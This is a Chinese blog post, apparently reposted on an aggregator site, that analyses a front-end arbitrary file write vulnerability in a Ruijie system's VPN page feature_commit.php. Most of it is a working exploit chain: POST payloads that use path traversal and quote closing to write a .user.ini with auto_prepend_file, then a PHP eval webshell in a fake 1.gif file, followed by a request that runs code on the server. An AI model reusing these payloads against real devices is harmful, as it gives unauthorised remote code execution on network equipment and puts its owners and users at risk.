失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > 锐捷某系统前台任意文件写入漏洞分析

锐捷某系统前台任意文件写入漏洞分析

时间:2022-12-14 08:24:58

相关推荐

锐捷某系统前台任意文件写入漏洞分析

0x00前言

这套系统我估计是全网第一个公开能拿shell的吧(不是的话当我没说),哪套系统自己猜,这次先分享下前台任意文件写入,还有几个rce日后分享,也感谢独立团孙德胜Alan提供的思路。

0x01代码分析

漏洞位置:

/view/vpn/autovpn/feature_commit.php

先通过POST传参进入if判断

在下面的fc_extendsubnet处传参即可进入漏洞位置

会将我们传入的参数提交到putConfig方法

putConfig方法在common.php里,我们来观察下

很简单哈,就是一个file_put_contents函数

再回到存在漏洞的位置,是通过indevice传入文件位置,并且会判断文件后缀最后一位是否为“i”,不是的话就给文件后缀添加上“i”,然后与$lanfile拼接。

0x02开冲!!!

因为这套系统是以Linux为主,所以我们可以通过空格去绕过已经定义好的$lanfile

以下为我自己做的测试:

然后呢他去判断后缀是否为“i”,所以我们可以利用.user.ini制作一个后门。

关于.user.ini后门,大家可以去看P牛写的文章: /6001

之后利用…/跳目录,写入绝对路径。

所以我们文件名的payload是:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.user.in

文件名ok了,我们去构造内容

可以看到是由ft_ipaddr和ft_ipmask传参的,我们简单测试下

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.users.ini&ft_ipaddr=111&ft_ipmask=1234

可以看到内容是没有问题的,但是会给我们的内容首尾添加上俩双引号,所以我们需要在payload里加入双引号进行闭合。

Payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.users.ini&ft_ipaddr=111&ft_ipmask=1234"11111"

闭合成功

然后我们构造.user.ini的payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.user.in&ft_ipmask=%22auto_prepend_file=1.gifi "

注意:

“auto_prepend_file=1.gifi”前面一定要有回车,不然是不会生效的。

之后在往“1.gifi”写入一句话木马,这里无所谓了,不需要回车。

Payload:

tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/1.gif&ft_ipmask="<?php%20eval($_GET[pass]);?>"

然后就ok了,需要先等待上0-3分钟,或者是重启Web服务。

之后随便访问.user.ini同级目录下的.php文件。

/view/vpn/autovpn/apngw.php?pass=phpinfo();

完结撒花🎉,我是瓜皮辰,记得关注我。

如果觉得《锐捷某系统前台任意文件写入漏洞分析》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。